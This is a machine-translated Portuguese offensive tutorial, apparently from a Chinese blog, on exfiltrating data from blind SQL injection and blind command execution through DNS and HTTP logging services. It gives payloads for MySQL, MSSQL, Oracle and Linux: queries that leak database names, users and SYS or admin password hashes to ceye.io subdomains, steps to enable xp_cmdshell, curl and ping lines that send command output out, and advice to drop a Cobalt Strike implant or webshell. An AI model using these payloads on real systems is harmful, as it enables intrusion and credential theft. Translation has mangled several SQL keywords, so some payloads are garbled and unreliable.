Aplicação de dnslog na injeção cega de SQL

Injeção 0x01 usando o princípio dnslog 

 Como mostrado na figura, como invasor, envie uma instrução de injeção e permita que o banco de dados concatene o valor a ser consultado com o nome de domínio e, em seguida, ocorra uma consulta DNS. Desde que possamos obter o log DNS, obteremos o valor desejado. Portanto, precisamos ter nosso próprio nome de domínio e, em seguida, configurar um registro NS no revendedor de nomes de domínio, e então podemos obter logs DNS no servidor NS.

Plataforma de servidor DNS gratuita:

http: // ceye.io/ 
http: // dnslog.cn/

0x02 em que cenários o dnslog é usado

  1. Injeção cega na injeção SQL
  2. Execução de comando sem eco
  3. SSRF sem eco

O entendimento simples é que, em alguns casos em que a vulnerabilidade não pode ser usada diretamente para obter o eco, mas o destino pode iniciar uma solicitação de DNS, desta vez você pode retirar os dados que deseja dessa maneira.

 Aplicação de 0x03 na injeção cega do mysql

A função load_file é usada principalmente no mysql, é usada para ler o arquivo no mysql e retornar o conteúdo do arquivo como uma string.De fato, também pode ser usada para enviar solicitações de DNS.

E deve-se notar que a função load_file não pode ser usada para executar ataques de dnslog no Linux.

Para usar esta função, as seguintes condições devem ser atendidas: (1). O arquivo lido deve estar no servidor e o caminho absoluto do arquivo deve ser especificado (2). O usuário que se conectar ao banco de dados atual deve ter permissão FILE (3) .O conteúdo do arquivo deve ser menor que max_allowed_packet.

Carga útil utilizada:

? id = 1 ' união selecione load_file (concat ( ' \\\\\\\\ ' , (selecione banco de dados ()), ' .xxxx.ceye.io \\ abc ' )) - + 
? id = 1 ' e se ((selecione load_file (concat ( ' \\\\ ' , (selecione banco de dados ()), ' .XXXXX.ceye.io \\ abc ' ))), 1,1) - + 
banco de dados () deve Onde fazer a consulta de injeção SQL

A plataforma ceye.io receberá um nome de domínio de segundo nível após o registro.Aqui, costuramos a instrução de consulta para o nome de domínio de terceiro nível.Depois da resolução do DNS, o nome de domínio resolvido será registrado na plataforma. O resultado da consulta. Por exemplo, aqui o nome de domínio de terceiro nível será o banco de dados de consulta. Usar o dnslog para fazer com que os resultados da consulta sejam exibidos completamente é muito mais rápido que a consulta de injeção cega direta.

Ao consultar uma tabela ou campo, é necessário adicionar um limite para limitar a saída.Todas as consultas correspondem a um registro DNS, ou seja, um nome de domínio de terceiro nível, um resultado da consulta, portanto a saída do limite limite é 1.

Aqui está um exemplo do oitavo nível de injeção cega do sqli-labs, pratique a injeção do dnslog:

Veja o banco de dados atual:

http: // 127.0.0.1/sqli-labs-master/Less-8/?id=1%27and%20if((select%20load_file(concat(%27 \\\\% 27, (selecione% 20database ()) ,% 27.xxx.ceye.io \\ abc% 27))), 1,1) - +

 Você pode ver que o banco de dados atual é de segurança

Para obter o usuário atual, você precisa hexar a função user (), hex (user ())

 Descompacte o caractere hexadecimal e decodifique-o aqui como: root @ localhost

As operações subseqüentes são semelhantes às acima. Aqui o resultado da execução da função load_file é nulo e problemático, você precisa primeiro resolver as três condições que precisam ser atendidas para usar esta função.

Aplicação 0x04 no mssql

Precisa ter injeção de pilha, pode ser usado; execute comandos sql um por um, poc:

http: // 127.0.0.1/mssql.php?id=1; 
DECLARE @host varchar ( 1024 ); SELECT @ host = (SELECT master.dbo.fn_varbintohexstr (convert (varbinary, rtrim (pass))) 
FROM 库 名 .dbo.test_user em que [USER] = ' admin ' )% 2b ' . nk40ci.ceye.io ' ; 
EXEC ( ' master..xp_dirtree "\'% 2b @ host% 2b ' \ foobar $ " ');

Teste para empilhamento:?id=1';WAITFOR DELAY '0:0:5'--

Obtenha o usuário atual:

id = 2 ' ; declara @a char (128); set @ a = ' \\ ' % 2buser% 2b ' . ***. ceye.io \ abc ' ; exec master..xp_dirtree @a; -

Obtenha o nome da biblioteca:

id = 2 ' ; declara @a char ( 128 ); set @ a = ' \\ ' % 2b ( selecione o nome do top 1 em master.dbo.sysdatabases)% 2b ' . ***. ceye.io \ abc ' ; exec master..xp_dirtree @a; -

Use o sqlmap para acabar.Se o banco de dados tiver uma permissão, você poderá abrir o componente xp_cmdshell para executar o comando

开启 xp_cmdshell: 
EXEC sp_configure ' mostra opções avançadas ' , 1 ; RECONFIGURE; EXEC sp_configure ' xp_cmdshell ' , 1 ; RECONFIGURE;

O comando executa a instrução sql:

id = 2 '; exec master..xp_cmdshell ' whoami '-

Nesse caso, não há execução de eco.

Com o dnslog, retorne o resultado da execução do comando para a plataforma do servidor dns através da seguinte instrução e verifique o log http:

? id = 1 ' ; exec master..xp_cmdshell "para / F% s em ( ' whoami ' ) começa http://xxx.ceye.io/?%s"--

 

 

 Retorne o resultado da execução whoami da exibição para a última variável do URL gravado http, o nome da variável é o resultado da exibição da execução do comando.

Como esta declaração abrirá o navegador padrão local, é necessário fechar o navegador, se o padrão não for, basta olhar para ela com a lista de tarefas:

? id = 123 ' ; exec master..xp_cmdshell "taskkill / f / im iexplore.exe" -

Na verdade, você não precisa saber o resultado do eco em um combate real, desde que possa executar o comando, faça o download e execute o nosso cs horse se puder se conectar à rede externa e, em seguida, ficar on-line diretamente. Ou conheça o caminho absoluto para escrever diretamente na webshell.

Para o servidor Linux:

http curl: // xxx.ceye.io / `whoami` ver http registrada na plataforma e, em seguida, 
o ping -c 1 ` whoami`.xxx.ceye.io Ver dns registro na plataforma 
exigir vários apresenta os resultados da LS: 
para i em $ (ls /); do curl " http: //$i.xxx.ceye.io/ " ;

Ferramenta de execução de comando automatizada: https://github.com/quyunjie/Red-Team/blob/master/mssql-rce/mandros.py

0x05 oracle

SELECT UTL_INADDR.GET_HOST_ADDRESS ( ' b182oj.ceye.io ' ); 
SELECT UTL_HTTP.REQUEST ( ' http://b182oj.ceye.io/oracle ' ) FROM DUAL; 
SELECT HTTPURITYPE ( ' http://b182oj.ceye.io/oracle ' ) .GETCLOB () FROM DUAL; 
SELECT DBMS_LDAP.INIT (( ' oracle.b182oj.ceye.io ' , 80 ) FROM DUAL; 
SELECT DBMS_LDAP.INIT ((SELECT senha do SYS.USER $ WHERE nome = ' SYS ' ) || ' .b182oj.ceye.io ' , 80 ) DE DUAL;

 

Link de referência: https://www.anquanke.com/post/id/98096#h3-5

Sobre a automação de scripts usando o dnslog: https://github.com/ADOOO/DnslogSqlinj

 

Acho que você gosta

Origin www.cnblogs.com/-chenxs/p/12691437.html
Recomendado
Clasificación